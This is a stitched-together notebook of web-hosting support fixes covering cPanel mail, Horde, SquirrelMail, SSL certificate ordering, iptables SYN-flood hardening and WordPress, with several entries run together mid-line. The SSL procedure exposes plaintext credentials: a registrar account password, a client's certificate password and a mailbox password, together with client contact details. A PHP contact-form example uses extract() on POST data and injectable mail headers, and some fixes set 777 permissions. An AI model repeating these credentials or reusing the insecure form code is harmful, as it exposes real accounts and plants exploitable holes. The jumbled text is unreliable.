-----------------------------
Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -f in squirrelmail
Solution
Quite a hard one to track down this one :-
First SSH into your server and run :-
/scripts/fixeverything
/scripts/upcp --force
/scripts/eximup --force
if that does not fix the issue run the following commands:-
cd /usr/sbin
mv sendmail sendmail.157979
ln -s /usr/sbin/exim /usr/sbin/sendmail
mv /etc/eximmailtrap /etc/eximmailtrap.157979
All sorted, it should be.
one more fix is given below.
root@abc [~]# cd /usr/sbin
root@abc [/usr/sbin]# mv sendmail sendmail.157979
root@abc [/usr/sbin]# ln -s /usr/sbin/exim /usr/sbin/sendmail
root@abc [/usr/sbin]# mv /etc/eximmailtrap /etc/eximmailtrap.157979
Exim e-mail filtering doesn't work for maildir
Currently cpanel e-mail filtering only supports mbox format.
Here is a workaround for maildir
###############################
vi /etc/exim.conf
Under DIRECTORS CONFIGURATION (there are two section file_transport under DIRECTORS CONFIGURATION. Just add the below line with the first file_transport = address_file section.)
Under file_transport = address_file
add the line directory_transport = address_directory
example----->>
--------------------------------------
central_filter:
#!!# filter renamed allow_filter
driver = redirect
allow_filter
no_check_local_user
file = /etc/vfilters/${domain}
file_transport = address_file
directory_transport = address_directory
pipe_transport = virtual_address_pipe
reply_transport = address_reply
retry_use_local_part
user = "${lookup{$domain}lsearch* {/etc/userdomains}{$value}}"
no_verify
--------------------------------------
Under TRANSPORTS CONFIGURATION
add the following lines
address_directory:
debug_print = "T: address_directory for $local_part@$domain"
driver = appendfile
envelope_to_add = true
return_path_add = true
check_string = ""
escape_string = ""
maildir_format
chattr +ia /etc/exim.conf
/etc/init.d/exim restart
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
mbox to maildir conversion of single account
working one is the first
===========================================================================
Use this custom script to convert single mbox files to maildir format
Convert mbox to maildir
wget http://batleth.sapienti-sat.org/projects/mb2md/mb2md-3.20.pl.gz
gunzip mb2md-3.20.pl.gz
./mb2md-3.20.pl -s path_to_inbox
===========================================================================
download this
http://perfectmaildir.home-dn.net/perfect_maildir/perfect_maildir.pl
usage
./perfect_maildir.pl ~Maildir/ <mbox.file
one example is given below
./perfect_maildir.pl /home/harrison/mail/cur < /home/harrison/mail/inbox
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
http://forums.cpanel.net/showthread.php?t=54012&highlight=address+book
error
No browseable address books
fix
Edit the file:
/usr/local/cpanel/base/horde/turba/config/sources.php
on the server with your favorite command line editor. Look for a line of code that reads like:
Code:
'public' => false, 'readonly' => false, 'admin' => array(), 'export' => true
Should be around line 132 I believe. Add 'browse' => true, to this section of code, so that it reads as:
Code:
'public' => false, 'readonly' => false, 'admin' => array(), 'browse' => true, 'export' => true
Then just save the file and log back into Horde.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
------------------------------------------------------------
loops back to login page in horde
solution
mysql
mysql> use horde;
mysql> drop table horde_sessionhandler;
mysql> CREATE TABLE horde_sessionhandler (
session_id VARCHAR(32) NOT NULL,
session_lastmodified INT NOT NULL,
session_data LONGBLOB,
PRIMARY KEY (session_id)
) ENGINE = InnoDB;
------------------------------------------------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
address book missing
http://forums.cpanel.net/showthread.php?t=43342&highlight=address+book
I found the error I had was caused by a wrongly named file in:
/usr/local/cpanel/base/horde/turba/scripts/upgrades/
1.2_to_2.0.sql should have been 1.2_to_2.0.mysql.sql
To fix:
cd /usr/local/cpanel/base/horde/turba/scripts/upgrades/
If the file is wrongly named, rename it:
mv 1.2_to_2.0.sql 1.2_to_2.0.mysql.sql
Or scp it over from another server with the correct filename
/usr/local/cpanel/bin/updatehorde
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
horde issue
login page again and again
if you recently made changes to your my.cnf file, see if you have
skip-innodb
if do, comment it out.
#skip-innodb
Reply With Quote
squirrelmail
error missing folders
solution
http://squirrelmail.org/wiki/MissingFolders
Check Options->Folder Preferences->Show only subscribed folders.
Try subscribing to those folders. Click "Folders" choose you folder(s), you can do multi-select, and click "Subscribe."
If this does not work it may be because SquirrelMail is configured for the wrong type of IMAP server, or does not support your IMAP server.
If the folders were not even listed, it is quite possible that they were stored on your local machine. Fire up your old mail reader and move the folders back onto the IMAP server.
Admins, please note that if your IMAP server is not listed that does NOT mean that it won't work. It just means that there are no "special" options (a.k.a. work-arounds) for your particular server.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
spamassaqssin upgrade
vi /home/.cpcpan/modules.versions
then change the version
/scripts/installspam
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
/scripts/convert2maildir is not working.
change the entry courier to 0 in /var/cpanel/cpanel.config
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Hello,
The issue is that, previously server was running with mbox format with mails. Now these days cpanel is supporting maildir format as mbox is having many reported issues.
In mbox format
Individual messages are simply concatenated together, and saved in a single file. A special marker is placed where one message ends and the next message begins. Only one process can access the mbox file in read/write mode. Concurrent access requires a locking mechanism. Anytime someone needs to update the mbox file, everyone else must wait for the update to complete.
In maildir format
Individual messages are saved in separate files, one file per message. There is a defined method for naming each file. There's a defined procedure for adding new messages to the maildir. No locking is required. Multiple processes can use maildirs at the same time.
We are running the script to convert all mbox formatted mails to maildir format so as to fix the mail issue and it will take some more time for the completition. We really sorry for the inconvenience caused and we will update you once this is over.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
squirrelmail issue
ERROR: Connection dropped by IMAP server
Courier-IMAP is linked against libfam, and that library is probably missing.
Use SSH for the following:
How to check
root@server# ldd /usr/lib/courier-imap/bin/imapd
libfam.so.0 => not found
libgdbm.so.2 => /usr/lib64/libgdbm.so.2 (0x0000002a9566c000)
libcourierauth.so.0 => /usr/lib64/courier-authlib/libcourierauth.so.0 (0x0000002a95772000)
libc.so.6 => /lib64/tls/libc.so.6 (0x0000002a9587c000)
/lib64/ld-linux-x86-64.so.2 (0x0000002a95556000)
How to fix
root@server# yum install gamin
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&ssl logs
SSL error
root@saint [/home/3gteam]# /scripts/ssl_crt_statusFetching SSL from shell
go to
cd /etc
cd ssl
cd certs
cat domainname.csr
Ex cat balihaitours.com.csr
Also same for key
cd /etc/ssl/private
cat domainname.com.key
Ex. cat balihaitours.com.key
SSL Installation :
1 St Step :
Once the client has paid $73 for SSL installations and dedicated : give him following reply and ask him to provide the details to generate the CSR for the domain.
and meanwhile assign the dedicated IP for his domain.
1st Reply :
Hello,
We have assigned dedicated IP 66.7.221.91 for your domain glassbasins.co.uk and the domain witll take 1 to 2 hours to resolve with dedicated IP.
In order to get your site work with https, you will need to install ssl certificate for your domain.
Please provide us following information, we will then generate certificate signing requiest for you, you will need to provide this csr to certificate authority and purchase certificate.
Contact Info
Email Address the Cert will be sent to: amit@glassbasins.co.uk
Cert Info (this will be displayed when a user connects)
Host to make cert for Country (2 letter Abbrivation): UK.
State: Wembley
City: Middlesex
Company Name: Glassbasins Limited
Company Division:Sales
Email:sales@glassbasins.co.uk
Password:glass7basins
-----------------------------------------------------------------------------------------------------------------------------------------------------
2. Once he has provide us the details as above , then next step is to create the CSR.
- Generate the ssladmin email account from client's cpanel having the email details given below :
Email id : ssladmin@glassbasins.co.uk
Password : ssladmin
- login into server's WHM >> open Generate a SSL Certificate and Signing Request section
- Email Address the Cert will be sent to : team@site.com
- Email: client's email id provided in th info for creation of CSR
- Fill all the info provided in preveous email.
- Country (2 letter abbreviation): Ex. UK
- once you fill all the info
- click on "Create": button
- It will generate the CSR like :
Certificate Request and Key for glassbasins.co.uk
CSR email sent to team@site.com
-----BEGIN CERTIFICATE REQUEST-----
MIICAzCCAWwCAQAwgaUxCzAJBgNVBAYTAlVLMRAwDgYDVQQIEwdXZW1ibGV5MRIw
EAYDVQQHEwlNaWRkbGVzZXgxHDAaBgNVBAoTE0dsYXNzYmFzaW5zIExpbWl0ZWQx
DjAMBgNVBAsTBVNhbGVzMRowGAYDVQQDExFnbGFzc2Jhc2lucy5jby51azEmMCQG
CSqGSIb3DQEJARYXc2FsZXNAZ2xhc3NiYXNpbnMuY28udWswgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBANB4nlBfSCkyu9I8H4PJCgE1dMhGjQT3ZCsZDoib+Qyl
BxOg9SDvV1ySORtYCbJfw3AHK3/pJKcvDvb/niz/FZIeAICHT6E2BMgKI7wcXD22
1LbtMXuf6bR4K7PdyegJ9i9NIboL2rldMQ0bEhHcvTmrvfXI6aXB/i9VvqTKIxEn
AgMBAAGgHTAbBgkqhkiG9w0BCQcxDhMMZ2xhc3M3YmFzaW5zMA0GCSqGSIb3DQEB
BQUAA4GBAHQCzJZ+hGJsPTR5X4YEEhd10Tcbt95YhVnOo3cyY5YrrzUjIDMe+LAS
kE5e+Fhmz3aWLGCFy9Bi9z6dIVOOiiImdZStGKHhWDkRr2SasSG/4YO0NoVScNQT
xloJg4XM/8oTjYU6uHQjOrlQyJ69pTylKfMiXE4kR0XGJUJIVKe2
-----END CERTIFICATE REQUEST-----
this will be from first box : Signing Request
-----------------------------------------------------------------------------------------------------------------------------------------------------
3rd Step : Login to Enom at http://enom.com
- Username : vicks
- Password : v383vj9j
- Go to >> SSL certificates >> Manage .
- you will see the
Type Domain Status Expiration
RapidSSL Awaiting Configuration 9/21/2010
- Click on RapidSSL
- Click on "Outside Hosting"
- It will provide you the box to put the CSR
- Select web server as : cPanel
- Put the CSR
- Click on purchase
- Select an approval email for this certificate and set the emails account which was created in 2nd step.
- the status will change to
Type Domain Status Expiration
RapidSSL glassbasins.co.uk Processing 9/21/2010
- Now it will take 2-3 hours to get the confirmation to approve it.
- Add the note in the ticket like :
I have ordered SSL for : glassbasins.co.uk at Enom. Approval email address set to : ssladmin@glassbasins.co.uk Password : ssladmin .
-----------------------------------------------------------------------------------------------------------------------------------------------------
4th Step :
-----------------------------------------------------------------------------------------------------------------------------------------------------
SSL Certificate Installation
__________________________________________________________________________
Introduction
Refers to the digital certificate used with the most popular security protocol on the Internet. When you make a purchase on the Web and notice the closed lock icon at the top or bottom of your browser or the HTTPS:// prefix in the URL, it means you have established a secure SSL connection.
Your browser has examined the signed certificate received from the Web site, determined it to be authentic and secret keys have been computed at both ends of the connection. All the information you enter online is encrypted before being sent to the server
1 - SSL Certificate creation with cPanel WHM
a. Open a Web browser and navigate to:
https://serverIP:2086
b. Enter your root user name and the password that you specified when you set up your account
c. Click OK.
d. Click Generate a SSL Certificate and Signing Request through the Web SSL/TLS menu
e. Enter the following information:
-Email address (where cert is sent)
-Host name
-Country
-State
-City
-Company Name
-Company Division
-Email address (displayed in cert)
-Password
f. Click Create. Your certificate information will display. Copy the RSA private key output into a text file so that you are able to use your certificate. Save this information carefully.
g. Click SSL Manager through SSL/TLS menu
h. Click the floppy drive icon of the appropriate certificate signing request in the CSRS column. Your certificate request information will display.
i. Get your cert signed using the certificate request information through SSL signing authority. The signing authority will send you a signed CRT and CA file. This file is referred to as an intermediate certificate or chaining file.
Notes:
2 - SSL Certificate installation with cPanel WHM
a.Open a Web browser and navigate to:
https://serverIP:2086
b. Enter your root user name and the password you specified when you set up your account.
c. Click OK.
d. Click Install a SSL Certificate and Setup the Domain through Web SSL/TLS menu
e. Paste your signed SSL certificate from the signing authority into the crt text box.
f. Paste your RSA private key info saved from the previous procedure into the key text box.
g. If received from the signing authority, paste the CA bundle (or intermediate certificate) into the ca text box.
h. Confirm the domain, user, and IP address, and then click Do it.
Notes:
Notes about creating the procedures
Adding a Rapid SSL logo on the home page,
Just add the code given below to add the SSL logo inside index web page
<a href="http://www.prontossl.com" target="_blank"><img style="border: 0;" src="https://www.prontossl.com/siteseal/rapidssl.gif" width="90" height="50" alt="Secured By RapidSSL from ProntoSSL" title="Secured By RapidSSL from ProntoSSL"></a>
Also you can refer :
http://www.prontossl.com/rapid
1001 [Oct/27/2010 - 12:51:53] cd /etc/ssl/private/
1002 [Oct/27/2010 - 12:51:55] ll
1003 [Oct/27/2010 - 12:52:14] vi www.stephanieannasartshop.com.key.old.1287727551
>>>>>>>>>>>>>>>>>>Display Summary Statistics for Each Protocol
Simply use netstat -s:
# netstat -s | less
# netstat -t -s | less
# netstat -u -s | less
# netstat -w -s | less
# netstat -sServer Monitoring Commands :
A :
http://www.question-defense.com/2009/03/31/how-to-get-detailed-information-about-a-linux-pid-process-id
How to Get Detailed Information About a Linux PID, Process ID
To get detailed information about a Linux PID you can use the strace command. If strace is not installed it can be installed via yum using the command below.
Strace Install:
Use below commands to install strace command :
*******
yum install strace
***********
Below is a sample output from using the strace command on a Litespeed web server process.
============================================
To search process ID :
ls -alh /proc/4846 |grep cwd
root@white [~]# /usr/local/cpanel/bin/rebuild_phpconf --currenthttp://kmaiti.blogspot.com/2010/07/how-to-install-suphp-on-linux-server.html
How to install suPHP on linux server?
Guys,
This is not my article. However, I have searched it in Google and got the results. I am pasting it only so that you can easily get it.
=======================================
suPHP is a tool that allows PHP scripts to be executed with the permissions of their owners. By not running PHP script using web server’s user rights, suPHP increase the server security.
First install httpd-devel and compiler tools:
yum install httpd-devel gcc gcc-c++ make
Download suPHP source code and extract it
wget http://www.suphp.org/download/suphp-0.7.1.tar.gz
tar -xvzf suphp-0.7.1.tar.gz
cd suphp-0.7.1
Now we compile suPHP
./configure --with-apxs=/usr/sbin/apxs --with-apache-user=apache --with-logfile=/var/log/httpd/suphp_log --with-setid-mode=paranoid --sysconfdir=/etc --with-apr=/usr/bin/apr-1-config --with-php=/usr/bin/php-cgi --enable-SUPHP_USE_USERGROUP=yes
make
make install
Next create suphp.conf to configure Apache so it will call suPHP for interpreting PHP scripts
nano /etc/httpd/conf.d/suphp.conf
Add this configuration:
LoadModule suphp_module modules/mod_suphp.so
suPHP_Engine on
AddType application/x-httpd-php .php
suPHP_AddHandler application/x-httpd-php
Save the file and the next step is to disable mod_php configuration as we are now using suPHP
mv /etc/httpd/conf.d/php.conf /etc/httpd/conf.d/php.conf.disabled
After we finished with Apache configuration, next we create suphp.conf file which contain suPHP configuration
nano /etc/suphp.conf
and copy this to the new file:
[global]
;Path to logfile
logfile=/var/log/suphp.log
;Loglevel
loglevel=info
;User Apache is running as
webserver_user=apache
;Path all scripts have to be in
docroot=/var/www:${HOME}/public_html
;Path to chroot() to before executing script
;chroot=/mychroot
; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false
;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true
;Send minor error messages to browser
errors_to_browser=false
;PATH environment variable
env_path=/bin:/usr/bin
;Umask to set, specify in octal notation
umask=0077
; Minimum UID
min_uid=0
; Minimum GID
After Apache and suPHP is configured, we need to add suPHP_UserGroup option on each virtual hosting we hosted on the server. For example, the domain.com virtual host would look like:
DocumentRoot /home/user/public_html
allow from all
Options +Indexes
ServerName domain.com
ErrorLog /var/log/httpd/domain.com
LogLevel warn
suPHP_UserGroup user user
"user" should be replaced with the real username on your server who own the PHP scripts. Make sure all file owned by the "user" username otherwise you’ll get 500 error code (Internal Server Error).
Now let's test the configuration
service httpd configtest
if everything is OK, restart the Apache server
=======================================
Try :)
http://webhostingsupport.info/suspend page can be due to .htaccess redirect code
=============================================================
Check IP accessing servers for syn attack :
netstat -an |grep SYN_RECV|awk '{print $5}' |sort|uniq
netstat -plan |grep :80 | grep SYN | awk '{print $5}' |cut -d: -f1 |sort |uniq -c |sort -n
netstat -n -p TCP
http://24x7servermanagement.com/blog/?p=261
=============================================================
Stopping SYN Attacks using IPTables
http://www.webhostingtalk.com/showthread.php?t=355411
=============================================================
Heres a bash script I made to stop SYN attacks on your server you need root,
#!/bin/bash
/sbin/modprobe ip_tables
/sbin/modprobe ip_conntrack
/sbin/modprobe ip_conntrack_ftp
rm /root/.dyn*
echo "Setting kernel tcp parameters to reduct DoS effects"
#Reduce DoS'ing ability by reducing timeouts
echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout
echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time
echo 1 > /proc/sys/net/ipv4/tcp_window_scaling
echo 0 > /proc/sys/net/ipv4/tcp_sack
echo 1280 > /proc/sys/net/ipv4/tcp_max_syn_backlog
#ANTISPOOFING
for a in /proc/sys/net/ipv4/conf/*/rp_filter;
do
echo 1 > $a
done
##
#NO SOURCE ROUTE
for z in /proc/sys/net/ipv4/conf/*/accept_source_route;
do
echo 0 > $z
done
#SYN COOKIES
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
#echo $ICMP_ECHOREPLY_RATE > /proc/sys/net/ipv4/icmp_echoreply_rate
echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo "1" > /proc/sys/net/ipv4/conf/all/accept_redirects
echo "1" > /proc/sys/net/ipv4/conf/all/log_martians
# NUMBER OF CONNECTIONS TO TRACK
echo "65535" > /proc/sys/net/ipv4/ip_conntrack_max
# Set default policies
/sbin/iptables -P INPUT ACCEPT
/sbin/iptables -P OUTPUT ACCEPT
/sbin/iptables -P FORWARD DROP
/sbin/iptables -F
/sbin/iptables -F INPUT
/sbin/iptables -F OUTPUT
/sbin/iptables -F FORWARD
/sbin/iptables -F -t mangle
/sbin/iptables -X
/sbin/iptables -A INPUT -i lo -j ACCEPT
/sbin/iptables -A INPUT -d 127.0.0.0/8 -j REJECT
/sbin/iptables -A INPUT -i eth0 -j ACCEPT
/sbin/iptables -A INPUT -m state --state INVALID -j DROP
### chains to DROP too many SYN-s ######
/sbin/iptables -N syn-flood
/sbin/iptables -A syn-flood -m limit --limit 100/second --limit-burst 150 -j RETURN
/sbin/iptables -A syn-flood -j LOG --log-prefix "SYN flood: "
/sbin/iptables -A syn-flood -j DROP
========================================================================
call it syn.bash and then excute it, also replace /sbin/iptables to the path of the iptables program
========================================================================How to + extract + untar + unzip .tar.gz file on linux ?
Guys,
I refer following commands :
Examples :
=========
gzip -d guiderj_content.sql.gz
tar -xvzf guiderj_content.sql.gz
tar -jxvf eaccelerator-0.9.5.3.tar.bz2
=========
try :)
TCP/UDP Port Numbers
Port 21 –> TCP –> FTP (File Transfer Protocol)
Port 22 –> TCP/UDP –> SSH (ssh,scp copy or sftp)
Port 23 –> TCP/UDP –> Telnet
Port 25 –> TCP/UDP –> SMTP (for sending outgoing emails)
Port 43 –> TCP –> WHOIS function
Port 53 –> TCP/UDP –> DNS Server (DNS lookup uses UDP and Zone transfers use TCP)
Port 70 –> TCP –> Gopher Protocol
Port 79 –> TCP –> Finger protocol
Port 110 –> TCP –> POP3 (for receiving email)
Port 119 –> TCP –> NNTP (Network News Transfer Protocol)
Port 143 –> TCP/UDP –> IMAP4 Protocol (for email service)
Port 194 –> TCP –> IRC
Port 389 –> TCP/UDP –> LDAP (light weight directory access)
Port 443 –> TCP –> Secure HTTP over SSL (https)
Port 465 –> TCP –> Secure SMTP (email) using SSL
Port 990 –> TCP/UDP –> Secure FTP using SSL
Port 993 –> TCP –> Secure IMAP protocol over SSL (for emails)
Port 1433 –> TCP/UDP –> Microsoft SQL server port
Port 2082 –> TCP –> CPanel default port
Port 2083 –> TCP –> CPanel over SSL
Port 2086 –> TCP –> CPanel Webhost Manager (default)
Port 2087 –> TCP –> CPanel Webhost Manager (with https)
Port 2095 –> TCP –> CPanel Webmail
Port 2096 –> TCP –> Cpanel secure webmail over SSL
Port 2222 –> TCP –> DirectAdmin Server Control Panel
Port 3306 –> TCP/UDP –> MySQL Database Server
Port 4643 –> TCP –> Virtuosso Power Panel
Port 5432 –> TCP –> PostgreSQL Database Server
Port 8080 –> TCP –> HTTP port (alternative one for port 80)
Port 8087 –> TCP –> Plesk Control Panel Port (default)
Port 8443 –> TCP –> Plesk Server Control Panel over SSL
Port 9999 –> TCP –> Urchin Web Analytics
Port 10000 –> TCP –> Webmin Server Control Panel
Port 19638 –> TCP –> Ensim Server Control Panel
http://www.bookrags.com/wiki/List_of_TCP_and_UDP_port_numbers
astra kernel: CPU2: Temperature above threshold
root@astra [~]# cat /var/log/messages | grep Temperature | wc -lhttp://www.webmasterworld.com/perl/3099327.htm
#!/usr/bin/perl
#
# ===========
# helloworld.pl
# ===========
#
print "content-type:text/html\n\n";
print "<html>\n";
print "<head>\n";
print "<title>Hello World</title>\n";
print "</head>\n";
print "<body>\n";
print "<b>Hello World!</b><br>\n";
print "</body>\n";
print "</html>\n";
#
#
Script starts at line starting with #!/usr/bin/perl, cut and paste to a text editor and save file as helloworld.pl
1. upload perl file to the /cgi-bin/ folder on your server, (use FTP and upload as ASCII text)
2. set the permissions for the file to 755, (CHMOD 755)
3. enter URL http://www.yourdomain.com/cgi-bin/helloworld.pl in browser
4. if it says Hello World! perl is working.
*************************************************************************************
http://encodable.com/internal_server_error/
500 Internal Server Error for cgi pearl scrpt.
...and how to fix it.
When running a Perl CGI script, you may see the "Internal Server Error" message in your browser. The message will usually also say something like "please check the server's error-log for more information." You should do that -- the message printed to the error log will often tell you exactly what the problem is. The Apache error log, for example, is often located at /var/log/apache/error_log or /var/log/apache2/error_log (or sometimes "error.log").
If you don't have access to the error log, the next simplest thing to do is to make a copy of the script, then open the original and delete all of its contents, and add just these 3 lines to the file:
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print "testing...\n";
(Note: if the server is a Windows system, then replace the first line above with either #!perl or #!c:\path\to\perl.exe.)
Now try to access the page in your browser again. If it works (you see "testing..." as its output) then you know that your server is at least configured properly for running Perl CGI scripts. If it doesn't work, then that may mean the problem is in the server configuration, rather than with your CGI script. (For example, are you sure you actually have Perl installed? Virtually all UNIX/Linux/OS X servers do, but Windows servers usually need to have it installed manually, from a package like ActivePerl.)
Assuming your server is configured properly for running CGI scripts, your problem may be one of these common causes for the Internal Server Error:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>HTML Mail Form</title>
</head>
<body>
<form action="send_mail.php" method="post">
Name: <input type="text" name="name" size="30" /><br />
Email: <input type="text" name="email" size="30"/><br />
Subject: <input type="text" name="subject" size="30"/><br />
Text:<textarea name="text" name="text" cols="50" rows="10"></textarea><br />
<input type="submit" name="submit" value="Send" />
</form>
</body>
</html>
Save it As: contact_us.html
Create a new file and insert the following code:
<?php
@extract($_POST);
$name = stripslashes($name);
$email = stripslashes($email);
$subject = stripslashes($subject);
$text = stripslashes($text);
mail(' youremail@domain.com',$subject,$text,"From: $name <$email>");
echo("Thank you for your interest, your e-mail was sent.");
?>
Save it As: send_mail.php
replace the youremail@domain.com with the email id.
Problem: Troubleshooting Your Web Page
Entry: 0288
Solution:
If you're having trouble accessing your pages via the Prism web server, here are some possible symptoms and solutions.
• Symptom: Error code 404: File Not found
• Symptom: Error code 403: Forbidden
• Symptom: Error code 200: Forbidden
• Symptom: Enter username for PageTestAccess at www.prism.gatech.edu:
• Symptom: Error code 401: Authorization Required
________________________________________
• Symptom: Error code 404: File Not found, The requested URL /~gt9999z/ was not found on this server.
o Possible reason: Your Prism home directory (~) does not have adequate unix file permissions to allow the server to access your web pages. The minimum file permissions required for directories are world ("other") execute permissions.
Solution: Add execute permission to your Prism home directory:
chmod o+x ~
o Possible reason: Your ~/public_html directory does not exist.
Solution: Create your public_html directory, and give it the required permissions:
mkdir ~/public_html
chmod o+x ~/public_html
• Symptom: Error code 403: Forbidden, You don't have permission to access /~gt9999z/ on this server.
o Possible reason: Your home directory does not have adequate unix file permissions to allow the server to access your web pages. The minimum file permissions required for directories are world ("other") execute permissions.
Solution: Add execute permission to your home directory:
chmod o+x ~
o Possible reason: Your ~/public_html directory does not have adequate unix file permissions to allow the server to access your web pages. The minimum file permissions required for directories are world ("other") execute permissions.
Solution: Add execute permission to your ~/public_html directory:
chmod o+x ~/public_html
o Possible reason: You have a .htaccess file that does not have adequate unix file permissions. The file needs to be world-readable.
Solution: Chmod the .htaccess file to give it the required permissions:
chmod o+r ~/public_html/.htaccess ~/.htaccess
Or more completely:
chmod o+r `find ~ -name .htaccess -print`
o Possible reason: The index file for your web pages, "index.html", does not exist.
Solution: Create your main index.html file, and give it the required permissions:
touch ~/public_html/index.html
chmod o+r ~/public_html/index.html
• Symptom: Error code 200: Forbidden, You don't have permission to access /~gt1234a/index.html on this server.
o Possible reason: Your index.html file does not have adequate unix file permissions to allow the server to read the file. The minimum file permissions required for files are world ("other") read permissions.
Solution: Add read permission to your index.html file:
chmod o+r ~/public_html/index.html
• Symptom: Enter username for PageTestAccess at www.prism.gatech.edu:
• Symptom: Error code 401: Authorization Required, This server could not verify that you are authorized to access the document you requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.
o Possible reason: You have unneeded Auth* directives in your ~/public_html/.htaccess file.
Solution: Rename or remove the .htaccess file, or remove the Auth* directives from the .htaccess file:
cd ~/public_html
mv .htaccess htaccess.old
sed "/^Auth/d" htaccess.old > .htaccess
o Possible reason: You have a .htaccess file in your Prism home directory with unneeded Auth* directives.
Solution: Rename or remove the .htaccess file, or remove the Auth* directives from the .htaccess file:
cd ~
mv .htaccess htaccess.old
sed "/^Auth/d" htaccess.old > .htaccess
To use rar we need unrar installed on server.
Login as Root:
at / run the following command:
wget http://dag.wieers.com/packages/unrar/unrar-3.6.2-1.el4.rf.i386.rpm
check the .rpm file here and then run the following command to install
rpm -ivh unrar-3.6.2-1.el4.rf.i386.rpm
Now unrar is installed.
Use following command to unrar the .rar file
unrar e -kb rarfile.rarUpgrade wordpress :
http://codex.wordpress.org/Upgrading_WordPress
Download the wordpress zip file : http://wordpress.org/download/
====================================================================
WORDPRESS UPGRADE : -
Please follow the instruction for upgrading your wordpress,
Backup your database. Read Backing Up Your Database for a detailed explanation.
Backup ALL your WordPress files in your WordPress directory. Don't forget your .htaccess file.
Verify the backups you created are there and usable. This is essential.
Deactivate ALL your Plugins.
Ensure first four steps are completed. Do not attempt the upgrade unless you have completed the first four steps.
Download and extract the WordPress package from http://wordpress.org/download/.
Delete the old WordPress files on your site, but DO NOT DELETE
wp-config.php file;
wp-content folder; Special Exception: the wp-content/cache and the wp-content/plugins/widgets folders should be deleted.
wp-images folder;
wp-includes/languages/ folder--if you are using a language file do not delete that folder;
.htaccess file--if you have added custom rules to your .htaccess, do not delete it;
robots.txt file--if your blog lives in the root of your site (ie. the blog is the site) and you have created such a file, do not delete it.
Upload the new files from your computer's hard drive to the appropriate WordPress folder on your site.
Run the WordPress upgrade program and follow the instructions on the screen.
Update Permalinks and .htaccess. Update your Permalink Structure and merge the custom rules, if necessary, into your .htaccess file.
Install updated Plugins and Themes. Please review the list of Plugins that work in Version 2.8.4. Check for Theme Compatibility with 2.8.4 and ask your Theme author for any new version.
Reactivate Plugins
Add security key definitions to the wp-config.php file
Review what has changed in WordPress.
That's the overview of the upgrade process. Please continue reading the Detailed Upgrade Instructions.Unable to create directory /wp-content/uploads/2009/09. Is its parent directory writable by the server?
The parent directory is 2009 and uploads is ’super’ parent directory (if I can call it that way). Both the directories had 777 permission so there was nothing wrong with the permission settings.
The problem was not with the directory permissions, but it was with URL where WordPress was trying to upload the image.
On my previous server, I had the blog in a folder named ‘tech’ and in the new server I had renamed it as ‘technology’.
Since I had moved the complete blog to the new server, the upload path was pointing to :
/home/tech/public_html/wp-content/uploads/2009/09
instead of pointing to
/home/technology/public_html/wp-content/uploads/2009/09
Do you notice the source of the problem ?
How can you fix it ?
SOLUTION :
Simple,
Login to your Blog as admin, go to Miscellaneous under Settings.
You’ll find the option “Store uploads in this folder” Set it to default which is “wp-content/uploads“, unless u specifically want the content in some other folder.
This should solve your problem !
There is a more complicated way of changing the file upload path of your wordpress blog, this is recommended only for those who know how to handle wp-config file !
For this you’ll have to modify wp-config.php file. Add below mentioned code before
require_once(ABSPATH.’wp-settings.php’); code in your wp-config file
define(’UPLOADS’, ‘wp-content/new_folder’);
Once you save this new configuration all your uploaded files will go to the ‘new_folder’ under wp-content directory.
***************************************************************************************************************
OR :
image upload error
go to admin area :
new posts and try to add the new posts by adding the image you will get the following error
Unable to create directory / Is its parent directory writable by the server?
Ex. Error : Unable to create directory /home/kinsey/public_html/wordpress/wp-content/uploads/2009/09. Is its parent directory writable by the server?
Solution :
1. Set 777 permissions recursiveyy for upload/ folder only
If still getting the error
then
2. Go to Miscellaneous Settings from admin area
Go to miscellaneous settings and uncheck the option "Organize my uploads into month- and year-based folders" and try uploading images.
and also set the path as :
wp-content/uploads
at Store uploads in this folder.
http://oldfield.wattle.id.au/luv/boot.html
http://comptechdoc.org/os/linux/commands/linux_crcredits.html
http://tille.garrels.be/training/tldp/ch03s02.htmlhttp://oldfield.wattle.id.au/luv/boot.html
http://comptechdoc.org/os/linux/commands/linux_crcredits.html
